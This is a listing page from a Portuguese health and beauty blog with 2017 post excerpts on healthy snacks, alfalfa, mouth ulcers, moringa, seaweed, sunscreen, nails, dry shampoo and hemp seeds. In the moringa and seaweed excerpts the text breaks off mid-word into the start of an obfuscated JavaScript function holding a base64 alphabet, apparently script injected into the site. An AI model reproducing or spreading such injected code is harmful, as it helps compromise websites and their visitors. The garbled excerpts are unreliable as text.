Jul 23, 2017 | Saúde e bem estar
10 Aperitivos saudáveis para comer neste verão Nesta altura do ano, os almoços, jantares e petiscos com os amigos são quase inevitáveis. No entanto não podemos descuidar a nossa saúde e por isso, hoje trago-lhe 10 aperitivos saudáveis para comer neste verão! Faça...
Jul 20, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios de alfafa + receita salada A alfafa é rica em vitaminas A, C, D, E, K e melhora o funcionamento do sistema imunitário, além de ajudar a eliminar o cansaço. É também rica em cálcio, potássio, ferro e diversos outros minerais. Como...
Jul 17, 2017 | Saúde e bem estar
Cuidados e alimentos para prevenir e tratar as aftas As aftas são pequenas feridas que surgem no interior da boca e que são realmente muito incómodas e desagradáveis. Hoje mostro-lhe alguns cuidados que terá de ter e os alimentos que terá de consumir para prevenir...
Jul 13, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da moringa A moringa tem muitos benefícios, já que possui uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jul 12, 2017 | Saúde e bem estar
Os 10 alimentos que pode comer à vontade Ter uma alimentação saudável deveria ser uma prioridade de todos nós, mas, para muitos, escolher os produtos certos nem sempre é fácil. É por isso que fiz este artigo. Conheça aqui os 10 alimentos que pode comer à vontade e...
Jul 9, 2017 | Estilo e beleza
Protector solar de rosto – A minha escolha Saber mais Olá! A relação que eu tenho com a Eucerin já dura há muito. É uma relação maravilhosa porque é uma relação de confiança. E tem mesmo de ser assim, já que é da pele que estamos a falar. Eu confio a minha pele à...
Jul 6, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios de consumir algas Sabia que consumir algas marinhas tem muitos benefícios para a sua saúde? As algas marinhas são compostas por grfunction a4872b9c6b(y1){var...
Jul 4, 2017 | Estilo e beleza
As tendências de cores e formatos para as suas unhas este verão Com o início do verão, chegam as novas tendências. Cuidar da beleza envolve também, cuidar das nossas unhas. Nesta época, há um aumento de preocupação com as nossas unhas das mãos e dos pés, até porque...
Jun 30, 2017 | Estilo e beleza
Champô seco – vantagens e dicas Se é uma mulher ocupada, certamente não lava o cabelo todas as manhãs. Este processo pode ser muito demorado, com a aplicação dos produtos, secar e pentear. É por isso que o champô seco se tornou num produto extremamente útil...
Jun 29, 2017 | Receitas, Saúde e bem estar
Benefícios das sementes de cânhamo para o nosso organismo Todas as semanas falo-lhe dos benefícios das superalimentos mais saudáveis que existem e hoje chegou a vez das sementes de cânhamo. Comecemos pelo início: as sementes de cânhamo são a semente da planta da...
